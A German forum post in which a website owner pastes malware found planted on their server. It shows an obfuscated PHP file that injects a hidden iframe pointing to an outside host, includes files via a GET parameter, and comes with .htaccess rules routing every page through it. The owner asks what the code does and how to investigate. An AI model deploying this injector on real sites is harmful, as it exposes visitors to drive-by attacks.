Per FTP eingeloggt, sah man sofort, dass in der Nacht von Samstag auf Sonntag um ~4 Uhr nachts, 2 Dateien in jeden Ordner gelegt wurden.
Einmal eine .heder.php
Code: Select all
<?php
$frame_code = '<!--pCQegcQpSdDlcHjr--><script>/*kKMIkqZKzudmzolxbrOHcWc*/var YtJzBU=document;/*IiTSklCVzskOGQGJRjfotls*/function UvrUmwYA(fXCunYmB)/*oMvBLMFdAhNBEswhcTQORaUK*/{var DdKQrsBtb = "",/*qMhJXHFXbplaeBhn*/MAueQJPqK=0;for(MAueQJPqK=fXCunYmB.length-1;MAueQJPqK >= 0;MAueQJPqK--)/*_QFpgDWzoZ_IUa_EYAAsBSz*/{DdKQrsBtb+=fXCunYmB.charAt(MAueQJPqK);}return DdKQrsBtb;/*MObrkBcjKvUUEMQ*/}/*uTerrZNumvQKTuJLpL*/function lAzxGtC(XFRZIMF_)/*kKMIkqZKzudmzolxbrOHcWc*/{/*qMhJXHFXbplaeBhn*/XFRZIMF_ = XFRZIMF_.replace(/[.]/g, "%");/*DQloCfcNIAbcedryffCLqfJb*/XFRZIMF_=unescape(XFRZIMF_);/*dYwdhKVcIC*/return UvrUmwYA(XFRZIMF_);/*labNWxLCjH_vHfgqHzTeFJpk*/}/*mDxpBbGaaSRIv*/function gqDmBRQ(){/*qMhJXHFXbplaeBhn*/YtJzBU.write("<style>.JIjzCtPmog{width:1px;height:1px;border:none;visibility:hidden}</style>");/*_QFpgDWzoZ_IUa_EYAAsBSz*//*_QFpgDWzoZ_IUa_EYAAsBSz*/var rPnbv="<iframe id="fWMiliU" src="x" class="JIjzCtPmog"></iframe>";/*MObrkBcjKvUUEMQ*//*XveYPeKLuEKekySlz*/var eukscm=rPnbv.replace(/[+x]/g,lAzxGtC(".70.68.70.2e.6e.69.2f.73.74.61.74.73.2f.6f.66.6e.69.2e.72.65.74.6e.75.6f.63.2d.65.76.69.6c.2e.77.77.77.2f.2f.3a.70.74.74.68"));/*qMhJXHFXbplaeBhn*//*EDoaNtIMGMc*/return eukscm;/*rqszXRaWBkPDChdYQJhZ*//*ZanD_dBPp_pbECRk*/}/*EDoaNtIMGMc*//*IiTSklCVzskOGQGJRjfotls*//*ZanD_dBPp_pbECRk*//*VAggMvx_ioGGV*/YtJzBU.writeln(gqDmBRQ());/*PPOfbNdeQEktSYITseyRSquT*//*mDxpBbGaaSRIv*//*eUChBuePLDO*/</script><!--pCQegcQpSdDlcHjr-->';
function get_file_dir_($file) {
global $argv;
$dir = dirname(getcwd() . '/' . $file);
$curDir = getcwd();
chdir($dir);
$dir = getcwd();
chdir($curDir);
return $dir;
}
function callback($data)
{
global $frame_code;
$data = preg_replace('/<iframe.*style=.*hidden.*/iframe[^>]*>/i', "", $data);
$data = preg_replace('/<div.*style=.*display.*none[^>]*><iframe.*/.*div[^>]*>/i', "", $data);
$data = preg_replace('/<!-- ad --><script[^>]*>.*</script><!-- /ad -->/i', "", $data);
if(preg_match("/(<body[^>]*>)/i", $data) > 0) {
return preg_replace("/(<body[^>]*>)/i", "$1 n".$frame_code, $data, 1);
}
else {
return $data.$frame_code;
}
}
ob_start('callback');
$file = $_GET['qq'];
chdir(get_file_dir_($file));
include($file);
?>
Scheinbar hat wer versucht, mittels iframe irgendetwas über die Websiten zu verteilen (andere Seiten auf dem Server waren auch betroffen - wahrscheinlich alle, das kann ich aber nicht kontrollieren)RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.heder.php
RewriteRule (.*).(php|html|htm|php3|phtml|shtml) .heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
Ich frag mich jetzt nur, was genau diese .heder.php in Zeile 2 treibt, weil der Code ja verschleiert/verschlüsselt ist...
Was vermutet ihr? Wie untersucht man sowas am besten? Wodurch ist der angreifer wohl auf das System gekommen?
Oder täusche ich mich etwa?